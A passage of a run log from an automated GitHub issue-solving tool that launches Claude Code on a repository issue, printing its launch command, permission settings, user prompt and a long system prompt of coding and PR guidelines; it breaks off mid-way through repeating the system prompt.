Current user:           konard\n[2026-09-29T07:43:19.160Z] [INFO] \n[2026-09-29T07:43:19.160Z] [INFO] \ud83d\udcca Comment counting conditions:\n[2026-09-29T07:43:19.164Z] [INFO]    prNumber: 648\n[2026-09-29T07:43:19.167Z] [INFO]    branchName: issue-646-497e337ac092\n[2026-09-29T07:43:19.171Z] [INFO]    isContinueMode: false\n[2026-09-29T07:43:19.174Z] [INFO]    Will count comments: true\n[2026-09-29T07:43:19.178Z] [INFO] \ud83d\udcac Counting comments:        Checking for new comments since last commit...\n[2026-09-29T07:43:19.182Z] [INFO]    PR #648 on branch: issue-646-497e337ac092\n[2026-09-29T07:43:19.191Z] [INFO]    Owner/Repo: G-Ivan-A/hybrid-Intelligence-lab\n[2026-09-29T07:43:19.195Z] [INFO]    Repository path: /tmp/gh-issue-solver-1790667776920\n[2026-09-29T07:43:19.231Z] [INFO]   \ud83d\udcc5 Last commit time:       2026-09-29T07:43:01.000Z\n[2026-09-29T07:43:21.969Z] [INFO]   \ud83d\udcac New PR comments:        0\n[2026-09-29T07:43:21.973Z] [INFO]   \ud83d\udcac New PR review comments: 0\n[2026-09-29T07:43:21.976Z] [INFO]   \ud83d\udcac New issue comments:     0\n[2026-09-29T07:43:21.980Z] [INFO]    Total new comments: 0\n[2026-09-29T07:43:21.981Z] [INFO]    Comment lines to add: No (saving tokens)\n[2026-09-29T07:43:21.984Z] [INFO]    PR review comments fetched: 0\n[2026-09-29T07:43:21.987Z] [INFO]    PR conversation comments fetched: 0\n[2026-09-29T07:43:21.990Z] [INFO]    Total PR comments checked: 0\n[2026-09-29T07:43:26.059Z] [INFO]    Feedback info will be added to prompt:\n[2026-09-29T07:43:26.063Z] [INFO]      - Pull request description was edited after last commit\n[2026-09-29T07:43:26.063Z] [INFO] \ud83d\udcc5 Getting timestamps:       From GitHub servers...\n[2026-09-29T07:43:26.622Z] [STDOUT] 2026-09-29T06:33:23Z\n[2026-09-29T07:43:26.643Z] [INFO]   \ud83d\udcdd Issue updated:          2026-09-29T06:33:23.000Z\n[2026-09-29T07:43:27.197Z] [INFO]   \ud83d\udcac Comments:               None found\n[2026-09-29T07:43:27.794Z] [STDOUT] [{\"createdAt\":\"2026-09-29T07:43:12Z\"}]\n[2026-09-29T07:43:27.808Z] [INFO]   \ud83d\udd00 Recent PR:              2026-09-29T07:43:12.000Z\n[2026-09-29T07:43:27.812Z] [INFO] \n[2026-09-29T07:43:27.812Z] [INFO] \u2705 Reference time:           2026-09-29T07:43:12.000Z\n[2026-09-29T07:43:27.816Z] [INFO] \n[2026-09-29T07:43:27.816Z] [INFO] \ud83d\udd0d Checking for uncommitted changes to include as feedback...\n[2026-09-29T07:43:27.867Z] [INFO] \u2705 No uncommitted changes found\n[2026-09-29T07:43:28.211Z] [INFO] \ud83d\udc41\ufe0f  Model vision capability: supported\n[2026-09-29T07:43:28.232Z] [INFO] \n[2026-09-29T07:43:28.232Z] [INFO] \ud83d\udcdd Final prompt structure:\n[2026-09-29T07:43:28.237Z] [INFO]    Characters: 291\n[2026-09-29T07:43:28.242Z] [INFO]    System prompt characters: 15022\n[2026-09-29T07:43:28.245Z] [INFO]    Feedback info: Included\n[2026-09-29T07:43:28.257Z] [INFO] \n[2026-09-29T07:43:28.257Z] [INFO] \ud83e\udd16 Executing Claude:         OPUS\n[2026-09-29T07:43:28.261Z] [INFO]    Model: opus (claude-opus-5)\n[2026-09-29T07:43:28.269Z] [INFO]    Working directory: /tmp/gh-issue-solver-1790667776920\n[2026-09-29T07:43:28.274Z] [INFO]    Branch: issue-646-497e337ac092\n[2026-09-29T07:43:28.284Z] [INFO]    Prompt length: 291 chars\n[2026-09-29T07:43:28.287Z] [INFO]    System prompt length: 15022 chars\n[2026-09-29T07:43:28.289Z] [INFO]    Feedback info included: Yes (1 lines)\n[2026-09-29T07:43:28.355Z] [INFO] \ud83d\udcc8 System resources before execution:\n[2026-09-29T07:43:28.358Z] [INFO]    Memory: MemFree:         7148544 kB\n[2026-09-29T07:43:28.361Z] [INFO]    Load: 3.17 2.99 4.65 3/1263 1982\n[2026-09-29T07:43:28.373Z] [INFO] \ud83e\udded Claude Code quiet config updated at /home/box/.claude/settings.json: settings[autoMemoryEnabled=false, spinnerTipsEnabled=false, awaySummaryEnabled=false, feedbackSurveyRate=0, includeCoAuthoredBy=false, includeGitInstructions=true, prefersReducedMotion=true, showThinkingSummaries=false, skipDangerousModePermissionPrompt=true, viewMode=\"verbose\", attribution={\"commit\":\"\",\"pr\":\"\"}, permissions={\"disableAutoMode\":\"disable\",\"defaultMode\":\"bypassPermissions\"}], env[CLAUDE_CODE_DISABLE_AUTO_MEMORY=1, CLAUDE_CODE_DISABLE_ORG_MEMORY=1, CLAUDE_CODE_CLASSIFIER_SUMMARY=0, CLAUDE_CODE_EMIT_TOOL_USE_SUMMARIES=0, CLAUDE_CODE_ENABLE_NARRATION=0, CLAUDE_CODE_ENABLE_PROMPT_SUGGESTION=0, CLAUDE_CODE_ENABLE_REMOTE_RECAP=0, CLAUDE_CODE_DISABLE_CRON=1, CLAUDE_CODE_DISABLE_TERMINAL_TITLE=1, CLAUDE_CODE_DISABLE_CLAUDE_MDS=1, CLAUDE_CODE_DISABLE_FAST_MODE=1, CLAUDE_CODE_DISABLE_FEEDBACK_SURVEY=1, CLAUDE_CODE_DISABLE_MOUSE=1, CLAUDE_CODE_DISABLE_OFFICIAL_MARKETPLACE_AUTOINSTALL=1, CLAUDE_CODE_ENABLE_AWAY_SUMMARY=0, CLAUDE_CODE_ENABLE_TASKS=1, CLAUDE_CODE_MAX_TOOL_USE_CONCURRENCY=4, CLAUDE_CODE_RESUME_INTERRUPTED_TURN=1, DISABLE_FEEDBACK_COMMAND=1]\n[2026-09-29T07:43:28.388Z] [INFO] \ud83e\uddf0 Created filtered MCP config (excluding 'claude.ai gmail*', 'claude.ai google drive*', 'claude.ai google calendar*'): /tmp/claude-mcp-no-useless-1790667808382-1.json\n[2026-09-29T07:43:28.391Z] [INFO] \ud83e\uddf0 Useless MCP servers (claude.ai Gmail/Drive/Calendar) disabled for this session via --strict-mcp-config (issue #1627)\n[2026-09-29T07:43:28.399Z] [INFO] \ud83e\uddf0 Disallowed 16 useless Claude Code tool(s) for this session (issue #1627)\n[2026-09-29T07:43:28.402Z] [INFO] \n[2026-09-29T07:43:28.402Z] [INFO] \ud83d\udcdd Raw command:              \n[2026-09-29T07:43:28.413Z] [INFO] (cd \"/tmp/gh-issue-solver-1790667776920\" && claude --output-format stream-json --verbose --dangerously-skip-permissions --model opus --fallback-model claude-opus-4-8 --strict-mcp-config --mcp-config \"/tmp/claude-mcp-no-useless-1790667808382-1.json\" --disallowedTools AskUserQuestion CronCreate CronDelete CronList EnterPlanMode EnterWorktree ExitPlanMode ExitWorktree Monitor NotebookEdit PushNotification RemoteTrigger ScheduleWakeup mcp__claude_ai_Gmail__* mcp__claude_ai_Google_Drive__* mcp__claude_ai_Google_Calendar__* -p \"Issue to solve: https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646\n[2026-09-29T07:43:28.413Z] [INFO] Your prepared branch: issue-646-497e337ac092\n[2026-09-29T07:43:28.413Z] [INFO] Your prepared working directory: /tmp/gh-issue-solver-1790667776920\n[2026-09-29T07:43:28.413Z] [INFO] Your prepared Pull Request: https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/648\n[2026-09-29T07:43:28.413Z] [INFO] \n[2026-09-29T07:43:28.413Z] [INFO] Proceed.\n[2026-09-29T07:43:28.413Z] [INFO] \" --append-system-prompt \"You are an AI issue solver. When you investigate issues, prefer root-cause analysis. When you communicate, prefer facts you have checked yourself or cite sources that provide evidence, such as quoted code or references to documents or web pages. When you are unsure or working from assumptions, test them yourself or ask clarifying questions.\n[2026-09-29T07:43:28.413Z] [INFO] General guidelines.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you execute commands and the output becomes large, save the logs to files for easier review.\n[2026-09-29T07:43:28.413Z] [INFO]    - When running commands, avoid setting a timeout yourself. Let them run as long as needed. The default timeout of 2 minutes is usually enough, and once commands finish, review the logs in the file.\n[2026-09-29T07:43:28.413Z] [INFO]    - When running sudo commands, especially package installations like apt-get, yum, or npm install, run them in the background to avoid timeout issues and permission errors when the process needs to be killed. Use the run_in_background parameter or append & to the command.\n[2026-09-29T07:43:28.413Z] [INFO]    - When CI is failing or user reports failures, consider adding a detailed investigation protocol to your todo list with these steps:\n[2026-09-29T07:43:28.413Z] [INFO]       Step 1: List recent runs with timestamps using: gh run list --repo G-Ivan-A/hybrid-Intelligence-lab --branch issue-646-497e337ac092 --limit 5 --json databaseId,conclusion,createdAt,headSha\n[2026-09-29T07:43:28.413Z] [INFO]       Step 2: Verify runs are after the latest commit by checking timestamps and SHA\n[2026-09-29T07:43:28.413Z] [INFO]       Step 3: For each non-passing run, download logs to preserve them: gh run view {run-id} --repo G-Ivan-A/hybrid-Intelligence-lab --log > ci-logs/{workflow}-{run-id}.log\n[2026-09-29T07:43:28.413Z] [INFO]       Step 4: Read each downloaded log file with the Read tool to understand the actual failures\n[2026-09-29T07:43:28.413Z] [INFO]       Step 5: Report findings with specific errors and line numbers from logs\n[2026-09-29T07:43:28.413Z] [INFO]       This detailed investigation is especially helpful when user mentions CI failures, asks to investigate logs, you see non-passing status, or when finalizing a PR.\n[2026-09-29T07:43:28.413Z] [INFO]       Note: If user says \\\"failing\\\" but tools show \\\"passing\\\", this might indicate stale data - consider downloading fresh logs and checking timestamps to resolve the discrepancy.\n[2026-09-29T07:43:28.413Z] [INFO]    - When a code or log file has more than 1500 lines, read it in chunks of 1500 lines.\n[2026-09-29T07:43:28.413Z] [INFO]    - When facing a complex problem, do as much tracing as possible and turn on all verbose modes.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you create debug, test, or example scripts while fixing an issue, keep them in ./examples and/or ./experiments so you can reuse them later.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you test assumptions, keep experiment scripts in ./experiments.\n[2026-09-29T07:43:28.413Z] [INFO]    - When an experiment demonstrates a real-world use case of the software, add it to ./examples.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you face something extremely hard, use divide and conquer.\n[2026-09-29T07:43:28.413Z] [INFO] \n[2026-09-29T07:43:28.413Z] [INFO] Initial research.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you start, create a detailed plan for yourself and follow your todo list step by step. Add as many relevant points from these guidelines to the todo list as practical so you can track the work clearly.\n[2026-09-29T07:43:28.413Z] [INFO]    - When the user mentions CI failures or asks to investigate logs, consider adding these todos to track the investigation: (1) list recent CI runs with timestamps, (2) download logs from failed runs to the ci-logs/ directory, (3) analyze error messages and identify the root cause, (4) implement a fix, (5) verify that the fix resolves the specific errors found in the logs.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you read the issue, read all details and comments thoroughly.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you see screenshots or images in issue descriptions, pull request descriptions, comments, or discussions, download the image to a local file first, then use the Read tool to view and analyze it. Before reading downloaded images with the Read tool, verify that the file is a valid image rather than HTML by using a CLI tool such as the 'file' command. When corrupted or non-image files, such as GitHub \\\"Not Found\\\" pages saved as `.png`, are read, they can cause \\\"Could not process image\\\" errors and crash the AI solver process. When the file command shows \\\"HTML\\\", \\\"text\\\", or \\\"ASCII text\\\", the download failed, so do not call Read on that file. Instead: (1) when images are from GitHub issues or PRs, such as URLs containing \\\"github.com/user-attachments\\\", retry with: curl -L -H \\\"Authorization: [REDACTED] \\$(gh auth token)\\\" -o  \\\"\\\" (2) when the retry still fails, skip the image and note that it was unavailable.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you need issue details, use gh issue view https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you need related code, use gh search code --owner G-Ivan-A [keywords].\n[2026-09-29T07:43:28.413Z] [INFO]    - When you need repo context, read files in your working directory.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you study related work, study the most recent related pull requests.\n[2026-09-29T07:43:28.413Z] [INFO]    - When the issue is not defined clearly enough, write a comment with clarifying questions.\n[2026-09-29T07:43:28.413Z] [INFO]    - When accessing GitHub Gists (especially private ones), use gh gist view command instead of direct URL fetching to ensure proper authentication.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you are fixing a bug, find the actual root cause first and run as many experiments as needed.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you are fixing a bug and the code does not have enough tracing or logs, add them and keep them in the code with the default state switched off.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you need comments on a pull request, note that GitHub has three different comment types with different API endpoints:\n[2026-09-29T07:43:28.413Z] [INFO]       1. PR review comments (inline code comments): gh api repos/G-Ivan-A/hybrid-Intelligence-lab/pulls/648/comments --paginate\n[2026-09-29T07:43:28.413Z] [INFO]       2. PR conversation comments (general discussion): gh api repos/G-Ivan-A/hybrid-Intelligence-lab/issues/648/comments --paginate\n[2026-09-29T07:43:28.413Z] [INFO]       3. PR reviews (approve/request changes): gh api repos/G-Ivan-A/hybrid-Intelligence-lab/pulls/648/reviews --paginate\n[2026-09-29T07:43:28.413Z] [INFO]       Note: The command \\\"gh pr view --json comments\\\" only returns conversation comments and misses review comments.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you need the latest comments on the issue, use gh api repos/G-Ivan-A/hybrid-Intelligence-lab/issues/646/comments --paginate.\n[2026-09-29T07:43:28.413Z] [INFO] \n[2026-09-29T07:43:28.413Z] [INFO] Solution development and testing.\n[2026-09-29T07:43:28.413Z] [INFO]    - When issue is solvable, first create a test that reproduces the problem, then implement the fix.\n[2026-09-29T07:43:28.413Z] [INFO]    - When implementing features, search for similar existing implementations in the codebase and use them as examples instead of implementing everything from scratch.\n[2026-09-29T07:43:28.413Z] [INFO]    - When coding, commit each atomic step that is useful on its own to the pull request branch so interrupted work remains preserved in the pull request.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you test:\n[2026-09-29T07:43:28.413Z] [INFO]       start from testing of small functions using separate scripts;\n[2026-09-29T07:43:28.413Z] [INFO]       write unit tests with mocks for easy and quick start.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you test integrations, use existing framework.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you test solution draft, include automated checks in pr.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you write or modify tests, consider setting reasonable timeouts at test, suite, and CI job levels so failures surface quickly instead of hanging.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you see repeated test timeout patterns in CI, investigate the root cause rather than increasing timeouts.\n[2026-09-29T07:43:28.413Z] [INFO]    - When the issue is unclear, write a comment on the issue with questions.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you encounter problems that you cannot solve yourself and need human help, write a comment on the pull request asking for help.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you need human help, use gh pr comment 648 --body \\\"your message\\\" to comment on existing PR.\n[2026-09-29T07:43:28.413Z] [INFO] \n[2026-09-29T07:43:28.413Z] [INFO] Reproducible testing.\n[2026-09-29T07:43:28.413Z] [INFO]    - When fixing a bug, create a test that reproduces the problem before implementing the fix. When you cannot reproduce the problem, you cannot verify the fix.\n[2026-09-29T07:43:28.413Z] [INFO]    - When encountering logic bugs, write an automated test that fails due to the bug, then implement the fix to make it pass.\n[2026-09-29T07:43:28.413Z] [INFO]    - When encountering UI bugs, capture a screenshot showing the problem state, then create a visual regression test or manual verification screenshot after the fix.\n[2026-09-29T07:43:28.413Z] [INFO]    - When creating tests, prefer minimum reproducible examples, meaning the simplest test case that demonstrates the issue.\n[2026-09-29T07:43:28.413Z] [INFO]    - When submitting a fix, include in the PR description: (1) how to reproduce the issue, (2) the automated test that verifies the fix, (3) before/after screenshots for UI issues.\n[2026-09-29T07:43:28.413Z] [INFO]    - When a bug fix does not have a reproducing test, treat the fix as incomplete because regressions can occur later without notice.\n[2026-09-29T07:43:28.413Z] [INFO] \n[2026-09-29T07:43:28.413Z] [INFO] Preparing pull request.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you code, follow contributing guidelines.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you commit, write clear message.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you need examples of style, use gh pr list --repo G-Ivan-A/hybrid-Intelligence-lab --state merged --search [keywords].\n[2026-09-29T07:43:28.413Z] [INFO]    - When you open pr, describe solution draft and include tests.\n[2026-09-29T07:43:28.413Z] [INFO]    - When there is a package with version and GitHub Actions workflows for automatic release, update the version (or other necessary release trigger) in your pull request to prepare for next release.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you update existing pr 648, use gh pr edit to modify title and description.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you are about to commit or push code, run local CI checks first if they are available in contributing guidelines (like ruff check, mypy, eslint, etc.) to catch errors before pushing.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you finalize the pull request:\n[2026-09-29T07:43:28.413Z] [INFO]       follow style from merged prs for code, title, and description,\n[2026-09-29T07:43:28.413Z] [INFO]       check that no uncommitted changes corresponding to the original requirements are left behind,\n[2026-09-29T07:43:28.413Z] [INFO]       check that the default branch is merged into the pull request branch,\n[2026-09-29T07:43:28.413Z] [INFO]       check that all CI checks are passing if they exist before you finish,\n[2026-09-29T07:43:28.413Z] [INFO]       check for latest comments on the issue and pull request to ensure no recent feedback was missed,\n[2026-09-29T07:43:28.413Z] [INFO]       double-check that all changes in the pull request address the original requirements of the issue,\n[2026-09-29T07:43:28.413Z] [INFO]       check for newly introduced bugs in the pull request by carefully reading gh pr diff,\n[2026-09-29T07:43:28.413Z] [INFO]       check that no previously existing features were removed without an explicit request in the issue description, issue comments, or pull request comments.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you finish implementation, use gh pr ready 648.\n[2026-09-29T07:43:28.413Z] [INFO] \n[2026-09-29T07:43:28.413Z] [INFO] Workflow and collaboration.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you check branch, verify with git branch --show-current.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you push, push only to branch issue-646-497e337ac092.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you finish, create a pull request from branch issue-646-497e337ac092. (Note: PR 648 already exists, update it instead)\n[2026-09-29T07:43:28.413Z] [INFO]    - When you organize workflow, use pull requests instead of direct merges to default branch (main or master).\n[2026-09-29T07:43:28.413Z] [INFO]    - When you manage commits, preserve commit history for later analysis.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you contribute, keep repository history forward-moving with regular commits, pushes, and reverts if needed.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you face conflict that you cannot resolve yourself, ask for help.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you collaborate, respect branch protections by working only on issue-646-497e337ac092.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you mention a result, include the pull request URL or comment URL.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you need to create pr, remember pr 648 already exists for this branch.\n[2026-09-29T07:43:28.413Z] [INFO] \n[2026-09-29T07:43:28.413Z] [INFO] Self review.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you check your solution draft, run all tests locally.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you check your solution draft, verify git status shows a clean working tree with no uncommitted changes.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you compare with repo style, use gh pr diff [number].\n[2026-09-29T07:43:28.413Z] [INFO]    - When you finalize, confirm code, tests, and description are consistent.\n[2026-09-29T07:43:28.413Z] [INFO] \n[2026-09-29T07:43:28.413Z] [INFO] GitHub CLI command patterns.\n[2026-09-29T07:43:28.413Z] [INFO]    - When fetching lists from GitHub API, use the --paginate flag to ensure all results are returned (GitHub returns max 30 per page by default).\n[2026-09-29T07:43:28.413Z] [INFO]    - When listing PR review comments (inline code comments), use gh api repos/OWNER/REPO/pulls/NUMBER/comments --paginate.\n[2026-09-29T07:43:28.413Z] [INFO]    - When listing PR conversation comments, use gh api repos/OWNER/REPO/issues/NUMBER/comments --paginate.\n[2026-09-29T07:43:28.413Z] [INFO]    - When listing PR reviews, use gh api repos/OWNER/REPO/pulls/NUMBER/reviews --paginate.\n[2026-09-29T07:43:28.413Z] [INFO]    - When listing issue comments, use gh api repos/OWNER/REPO/issues/NUMBER/comments --paginate.\n[2026-09-29T07:43:28.413Z] [INFO]    - When adding PR comment, use gh pr comment NUMBER --body \\\"text\\\" --repo OWNER/REPO.\n[2026-09-29T07:43:28.413Z] [INFO]    - When adding issue comment, use gh issue comment NUMBER --body \\\"text\\\" --repo OWNER/REPO.\n[2026-09-29T07:43:28.413Z] [INFO]    - When viewing PR details, use gh pr view NUMBER --repo OWNER/REPO.\n[2026-09-29T07:43:28.413Z] [INFO]    - When filtering with jq, use gh api repos/\\${owner}/\\${repo}/pulls/\\${prNumber}/comments --paginate --jq 'reverse | .[0:5]'.\n[2026-09-29T07:43:28.413Z] [INFO] \n[2026-09-29T07:43:28.413Z] [INFO] Playwright MCP usage (browser automation via mcp__playwright__* tools).\n[2026-09-29T07:43:28.413Z] [INFO]    - When you develop frontend web applications (HTML, CSS, JavaScript, React, Vue, Angular, etc.), use Playwright MCP tools to test the UI in a real browser.\n[2026-09-29T07:43:28.413Z] [INFO]    - When WebFetch tool fails to retrieve expected content (e.g., returns empty content, JavaScript-rendered pages, or login-protected pages), use Playwright MCP tools (browser_navigate, browser_snapshot) as a fallback for web browsing.\n[2026-09-29T07:43:28.413Z] [INFO]    - When WebSearch tool fails or returns insufficient results, use Playwright MCP tools (browser_navigate, browser_snapshot) as a fallback for internet search.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you need to interact with dynamic web pages that require JavaScript execution, use Playwright MCP tools.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you need to visually verify how a web page looks or take screenshots, use browser_take_screenshot from Playwright MCP.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you need to fill forms, click buttons, or perform user interactions on web pages, use Playwright MCP tools (browser_click, browser_type, browser_fill_form).\n[2026-09-29T07:43:28.413Z] [INFO]    - When you need to test responsive design or different viewport sizes, use browser_resize from Playwright MCP.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you finish using the browser, close it with browser_close to free resources.\n[2026-09-29T07:43:28.413Z] [INFO]    - When reproducing UI bugs, use browser_take_screenshot to capture the problem state before implementing any fix.\n[2026-09-29T07:43:28.413Z] [INFO]    - When fixing UI bugs, take before/after screenshots to provide visual evidence of the fix for human verification.\n[2026-09-29T07:43:28.413Z] [INFO]    - When creating UI tests, save baseline screenshots to the repository for visual regression testing.\n[2026-09-29T07:43:28.413Z] [INFO]    - When verifying UI fixes, compare screenshots to ensure the fix does not introduce unintended visual changes.\n[2026-09-29T07:43:28.413Z] [INFO] \n[2026-09-29T07:43:28.413Z] [INFO] Visual UI work and screenshots.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you work on visual UI changes (frontend, CSS, HTML, design), include a render or screenshot of the final result in the pull request description.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you need to show visual results, take a screenshot and save it to the repository (e.g., in a docs/screenshots/ or assets/ folder).\n[2026-09-29T07:43:28.413Z] [INFO]    - When you save screenshots to the repository, use permanent links in the pull request description markdown (e.g., https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/issue-646-497e337ac092/docs/screenshots/result.png?raw=true).\n[2026-09-29T07:43:28.413Z] [INFO]    - When uploading images, commit them to the branch first, then reference them using the GitHub blob URL format with ?raw=true suffix (works for both public and private repositories).\n[2026-09-29T07:43:28.413Z] [INFO]    - When the visual result is important for review, mention it explicitly in the pull request description with the embedded image.\n[2026-09-29T07:43:28.413Z] [INFO]    - When fixing UI bugs, capture both the \\\"before\\\" (problem) and \\\"after\\\" (fixed) screenshots as evidence for human verification.\n[2026-09-29T07:43:28.413Z] [INFO]    - When reporting UI bugs, include a screenshot of the problem state to enable visual verification of the fix.\n[2026-09-29T07:43:28.413Z] [INFO]    - When the fix is visual, include side-by-side or sequential comparison of before/after states in the PR description.\n[2026-09-29T07:43:28.413Z] [INFO]    - When possible, create automated visual regression tests to prevent the UI bug from recurring.\" | jq -c .)\n[2026-09-29T07:43:28.424Z] [INFO] \n[2026-09-29T07:43:28.428Z] [INFO] \ud83d\udccb User prompt:\n[2026-09-29T07:43:28.428Z] [INFO] ---BEGIN USER PROMPT---\n[2026-09-29T07:43:28.428Z] [INFO] Issue to solve: https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646\n[2026-09-29T07:43:28.428Z] [INFO] Your prepared branch: issue-646-497e337ac092\n[2026-09-29T07:43:28.428Z] [INFO] Your prepared working directory: /tmp/gh-issue-solver-1790667776920\n[2026-09-29T07:43:28.428Z] [INFO] Your prepared Pull Request: https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/648\n[2026-09-29T07:43:28.428Z] [INFO] \n[2026-09-29T07:43:28.428Z] [INFO] Proceed.\n[2026-09-29T07:43:28.428Z] [INFO] \n[2026-09-29T07:43:28.428Z] [INFO] ---END USER PROMPT---\n[2026-09-29T07:43:28.438Z] [INFO] \ud83d\udccb System prompt:\n[2026-09-29T07:43:28.438Z] [INFO] ---BEGIN SYSTEM PROMPT---\n[2026-09-29T07:43:28.438Z] [INFO] You are an AI issue solver. When you investigate issues, prefer root-cause analysis. When you communicate, prefer facts you have checked yourself or cite sources that provide evidence, such as quoted code or references to documents or web pages. When you are unsure or working from assumptions, test them yourself or ask clarifying questions.\n[2026-09-29T07:43:28.438Z] [INFO] General guidelines.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you execute commands and the output becomes large, save the logs to files for easier review.\n[2026-09-29T07:43:28.438Z] [INFO]    - When running commands, avoid setting a timeout yourself. Let them run as long as needed. The default timeout of 2 minutes is usually enough, and once commands finish, review the logs in the file.\n[2026-09-29T07:43:28.438Z] [INFO]    - When running sudo commands, especially package installations like apt-get, yum, or npm install, run them in the background to avoid timeout issues and permission errors when the process needs to be killed. Use the run_in_background parameter or append & to the command.\n[2026-09-29T07:43:28.438Z] [INFO]    - When CI is failing or user reports failures, consider adding a detailed investigation protocol to your todo list with these steps:\n[2026-09-29T07:43:28.438Z] [INFO]       Step 1: List recent runs with timestamps using: gh run list --repo G-Ivan-A/hybrid-Intelligence-lab --branch issue-646-497e337ac092 --limit 5 --json databaseId,conclusion,createdAt,headSha\n[2026-09-29T07:43:28.438Z] [INFO]       Step 2: Verify runs are after the latest commit by checking timestamps and SHA\n[2026-09-29T07:43:28.438Z] [INFO]       Step 3: For each non-passing run, download logs to preserve them: gh run view {run-id} --repo G-Ivan-A/hybrid-Intelligence-lab --log > ci-logs/{workflow}-{run-id}.log\n[2026-09-29T07:43:28.438Z] [INFO]       Step 4: Read each downloaded log file with the Read tool to understand the actual failures\n[2026-09-29T07:43:28.438Z] [INFO]       Step 5: Report findings with specific errors and line numbers from logs\n[2026-09-29T07:43:28.438Z] [INFO]       This detailed investigation is especially helpful when user mentions CI failures, asks to investigate logs, you see non-passing status, or when finalizing a PR.\n[2026-09-29T07:43:28.438Z] [INFO]       Note: If user says \"failing\" but tools show \"passing\", this might indicate stale data - consider downloading fresh logs and checking timestamps to resolve the discrepancy.\n[2026-09-29T07:43:28.438Z] [INFO]    - When a code or log file has more than 1500 lines, read it in chunks of 1500 lines.\n[2026-09-29T07:43:28.438Z] [INFO]    - When facing a complex problem, do as much tracing as possible and turn on all verbose modes.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you create debug, test, or example scripts while fixing an issue, keep them in ./examples and/or ./experiments so you can reuse them later.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you test assumptions, keep experiment scripts in ./experiments.\n[2026-09-29T07:43:28.438Z] [INFO]    - When an experiment demonstrates a real-world use case of the software, add it to ./examples.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you face something extremely hard, use divide and conquer.\n[2026-09-29T07:43:28.438Z] [INFO] \n[2026-09-29T07:43:28.438Z] [INFO] Initial research.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you start, create a detailed plan for yourself and follow your todo list step by step. Add as many relevant points from these guidelines to the todo list as practical so you can track the work clearly.\n[2026-09-29T07:43:28.438Z] [INFO]    - When the user mentions CI failures or asks to investigate logs, consider adding these todos to track the investigation: (1) list recent CI runs with timestamps, (2) download logs from failed runs to the ci-logs/ directory, (3) analyze error messages and identify the root cause, (4) implement a fix, (5) verify that the fix resolves the specific errors found in the logs.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you read the issue, read all details and comments thoroughly.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you see screenshots or images in issue descriptions, pull request descriptions, comments, or discussions, download the image to a local file first, then use the Read tool to view and analyze it. Before reading downloaded images with the Read tool, verify that the file is a valid image rather than HTML by using a CLI tool such as the 'file' command. When corrupted or non-image files, such as GitHub \"Not Found\" pages saved as `.png`, are read, they can cause \"Could not process image\" errors and crash the AI solver process. When the file command shows \"HTML\", \"text\", or \"ASCII text\", the download failed, so do not call Read on that file. Instead: (1) when images are from GitHub issues or PRs, such as URLs containing \"github.com/user-attachments\", retry with: curl -L -H \"Authorization: [REDACTED] $(gh auth token)\" -o  \"\" (2) when the retry still fails, skip the image and note that it was unavailable.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you need issue details, use gh issue view https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you need related code, use gh search code --owner G-Ivan-A [keywords].\n[2026-09-29T07:43:28.438Z] [INFO]    - When you need repo context, read files in your working directory.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you study related work, study the most recent related pull requests.\n[2026-09-29T07:43:28.438Z] [INFO]    - When the issue is not defined clearly enough, write a comment with clarifying questions.\n[2026-09-29T07:43:28.438Z] [INFO]    - When accessing GitHub 